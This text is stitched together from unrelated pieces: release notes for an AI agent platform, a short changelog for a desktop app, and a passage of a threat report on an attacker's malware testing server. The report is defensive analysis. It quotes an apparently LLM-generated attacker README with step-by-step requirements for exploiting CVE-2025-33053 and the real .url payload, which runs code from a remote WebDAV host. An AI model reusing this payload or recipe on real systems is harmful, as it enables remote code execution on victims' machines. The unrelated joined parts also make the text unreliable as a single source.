• Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

• 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
• Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
• Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
• Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

• TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
• Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
• Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
• hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
• Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

• Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
• DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
• GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
• grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
• Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
• GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
• Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
• Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
• Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
• kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
• Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

• max + ultra effort levels across every surface and route (#62650 — @teknium1)
• Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
• MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

• Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
• Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
• Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
• Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
• Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
• Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

• Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
• hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
• Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

• Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
• Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
• Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

• Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
• Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
• Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
• Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
• Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

• Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
• WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
• Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
• Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
• Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
• Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

• Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
• Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
• Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
• Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
• Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
• Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
• Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

• Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
• Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
• hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

• /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
• /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
• Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
• --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
• TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
• Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

• MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
• Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
• Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
• Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
• Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
• mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
• Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

• Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
• Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
• Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
• Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
• Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
• computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
• Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
• CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
• Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
• Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
• Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

• iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
• dynamic-workflow orchestration skill (landed, then reverted) — not shipping
• memory provider-actions extension point (landed, then reverted) — not shipping
• Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

• @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
• @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
• @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
• @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
• @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
• @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
• @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
• @austinpickett — desktop custom endpoint settings
• @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

• @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
• @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
• @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
• @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
• @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
• @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
• @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
• @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
• @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
• @vishal-dharm — Gemini request-context improvements
• @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
• @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
• Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

Improvements

• Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

• Reduce OpenAI provider header timeouts during slow connection setup.
• Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.
• Restore Azure Cognitive Services endpoint support for Azure-hosted models.

Desktop

Improvements

• Sync the embedded terminal theme with the app theme.
• Improve the review panel so open file tabs can stay aligned with the current diff view.
• Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.
• Improve review panel resizing and sticky controls.

Bugfixes

• Preserve command drafts in the command menu.
• Avoid session view failures when message parent links are missing.
• Prevent sending empty prompt text parts.
• Restore model variant selection accessibility.
• Show keybind tooltips on prompt input controls. (@ProdigyRahul)
• Deduplicate repeated file entries in diff summaries.
• Prevent recovery window handling from touching destroyed windows.

Thank you to 3 community contributors:

• @jerome-benoit:
  • fix(nix): relax Bun version check for desktop build (#36767)
  • fix(nix): restore desktop integration (#37197)
• @ProdigyRahul:
  • fix(app): show keybind tooltips on prompt input controls (#37824)
• @chouqin:
  • feat(opencode): use adaptive thinking effort for kimi family on anthr… (#37696)

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
